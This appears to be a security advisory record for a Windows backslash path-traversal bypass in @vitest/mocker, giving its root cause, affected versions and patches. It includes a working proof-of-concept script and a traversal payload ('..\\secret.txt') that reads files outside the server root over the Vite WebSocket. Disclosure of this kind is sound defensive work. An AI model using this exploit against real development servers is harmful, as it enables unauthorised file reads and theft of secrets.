---
id: CVE-2026-112950
aliases:
  - GHSA-xp26-3454-mjgp
title: >-
  Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect
  allowlist fix
summary: >-
  Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect
  allowlist fix
severity: medium
cvss: 5.9
cwe:
  - CWE-22
vendor: vitest
product: '@vitest/mocker'
ecosystem: npm
affected:
  - '@vitest/mocker >= 4.1.11, < 4.1.12'
  - '@vitest/mocker >= 5.0.0-rc.2, < 5.0.3'
patched:
  - '@vitest/mocker 4.1.12'
  - '@vitest/mocker 5.0.3'
published: '2026-10-21'
updated: '2026-10-21'
sourceUpdated: '2026-10-21T19:48:39Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-xp26-3454-mjgp'
references:
  - url: >-
      https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112950'
  - url: >-
      https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35
  - url: >-
      https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473
  - url: 'https://github.com/vitest-dev/vitest/releases/tag/v4.1.12'
  - url: 'https://github.com/vitest-dev/vitest/releases/tag/v5.0.3'
  - url: 'https://github.com/advisories/GHSA-xp26-3454-mjgp'
tags:
  - ghsa
  - npm
  - cve.org
epss: 0.00455
epssPercentile: 0.39277
ingestedAt: '2026-10-20T16:10:53.314Z'
---

## Overview

## Summary

The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:

- `@vitest/mocker@4.1.11`
- `@vitest/mocker@5.0.0`

The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.

## Patches

Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it.

## Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

- `4.1.11`
- `>=5.0.0-rc.2, <5.0.3`

Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.

## Root cause

`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:

```ts
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
```

The registered value later reaches:

```ts
readFile(mock.redirect, 'utf-8')
```

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.

## Preconditions and impact

A client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

## Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.

Install dependencies for either affected line:

```console
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs
```

`poc.mjs`:

```js
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}
```

Observed with `@vitest/mocker@4.1.11`:

```json
{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}
```

The same result was observed with `@vitest/mocker@5.0.0`.

This includes two useful controls:

1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.
2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

## Affected packages

- `@vitest/mocker >= 4.1.11, < 4.1.12`
- `@vitest/mocker >= 5.0.0-rc.2, < 5.0.3`

## Remediation

Upgrade to a patched release:

- `@vitest/mocker 4.1.12`
- `@vitest/mocker 5.0.3`
